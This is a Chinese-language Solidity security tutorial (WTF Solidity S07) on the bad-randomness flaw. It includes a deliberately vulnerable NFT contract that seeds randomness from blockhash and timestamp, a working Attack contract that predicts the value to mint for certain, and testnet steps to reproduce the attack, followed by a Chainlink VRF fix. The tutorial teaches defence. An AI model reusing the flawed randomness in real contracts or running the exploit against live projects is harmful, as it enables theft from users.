WTF Solidity 合约安全: S07. 坏随机数

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。

这一讲,我们将介绍智能合约的坏随机数(Bad Randomness)漏洞和预防方法,这个漏洞经常在 NFT 和 GameFi 中出现,包括 Meebits,Loots,Wolf Game等。

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

下面我们学习一个有坏随机数漏洞的 NFT 合约: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 构造函数,初始化NFT合集的名称、代号    constructor() ERC721("", ""){}    // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一个主要的铸造函数 luckyMint(),用户调用时输入一个 0-99 的数字,如果和链上生成的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前计算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们计算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。

由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

部署 BadRandomness 合约。

部署 Attack 合约。

将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用,完成攻击。

调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击成功。

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

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所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

来源:bress

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